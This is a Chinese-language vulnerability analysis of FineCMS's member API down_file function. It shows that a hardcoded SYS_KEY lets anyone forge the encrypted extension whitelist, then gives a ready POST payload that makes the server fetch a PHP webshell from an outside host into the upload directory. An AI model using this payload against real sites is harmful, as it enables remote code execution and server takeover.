在文件finecms/dayrui/controllers/member/Api.php里面有一个down_file函数.可以从远程下载文件到本地服务器.

    public function down_file() {

        $p = array();
        $url = explode('&', $this->input->post('url'));
        //经过& 分割

        foreach ($url as $t) {
            $item = explode('=', $t);
            $p[$item[0]] = $item[1];
        }
        //经过 = 分割
        !$this->uid && exit(dr_json(0, fc_lang('游客不允许上传附件')));
        //对$p['code'] 进行解码
        list($size, $ext) = explode('|', dr_authcode($p['code'], 'DECODE'));
        //得到尺寸和后缀
        $path = SYS_UPLOAD_PATH.'/'.date('Ym', SYS_TIME).'/';
        !is_dir($path) && dr_mkdirs($path);

        $furl = $this->input->post('file');
        $file = dr_catcher_data($furl);
        //dr_catcher_data 是读取远程文件
        !$file && exit(dr_json(0, '获取远程文件失败'));

        $fileext = strtolower(trim(substr(strrchr($furl, '.'), 1, 10))); //扩展名
        !@in_array($fileext, @explode(',', $ext)) && exit(dr_json(0, '远程文件扩展名（'.$fileext.'）不允许'));
        
        $filename = substr(md5(time()), 0, 7).rand(100, 999);
        if (@file_put_contents($path.$filename.'.'.$fileext, $file)) {
            $info = array(
                'file_ext' => '.'.$fileext,
                'full_path' => $path.$filename.'.'.$fileext,
                'file_size' => filesize($path.$filename.'.'.$fileext)/1024,
                'client_name' => '',
            );

大概就是先对url进行& 以及 =的分割.最后把code拿出来利用dr_authcode解密.在文件/finecms/dayrui/helpers/function_helper.php里面发现了对dr_authcode的定义

function dr_authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

    if (!$string) {
        return '';
    }

    $ckey_length = 4;

    $key = md5($key ? $key : SYS_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya . md5($keya . $keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for ($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for ($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for ($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result.= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if ($operation == 'DECODE') {
        if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        return $keyc . str_replace('=', '', base64_encode($result));
    }
}

其中还是关联到了SYS_KEY。然而这个值被写死了.没有初始化，所以任何人都可以利用。

修改了下down_file函数的过程.节省了传参过程

        $teststr = "1234|php,txt,jpg,png";
        $shell = dr_authcode($teststr, 'ENCODE');

        $url = "cmd=webshell&code=".$shell;
        $url = explode('&', $url);
        //先按照&进行分割
        foreach ($url as $t) {
            $item = explode('=', $t);
            //再按照 = 来分割
            $p[$item[0]] = $item[1];
        }
        
        !$this->uid && exit(dr_json(0, fc_lang('游客不允许上传附件')));
        
        list($size, $ext) = explode('|', dr_authcode($p['code'], 'DECODE'));

路径是根据当月时间来生成的

$path = SYS_UPLOAD_PATH.'/'.date('Ym', SYS_TIME).'/'; //年月

利用就好办了.利用$key的值不变.然后生成一个参数url在post一下

file=http://cmd.baidu.info/?cmd.php&url=%63%6d%64%3d%77%65%62%73%68%65%6c%6c%26%63%6f%64%65%3d%30%62%35%37%6f%61%38%35%70%4e%6f%72%38%5a%7a%4e%41%42%30%79%38%4e%2f%5a%53%4e%44%71%30%74%31%68%46%6f%34%63%4f%49%41%53%7a%42%67%61%49%57%34%79%47%59%51%46%47%31%79%73%56%5a%62%6f%52%67%52%63%46%51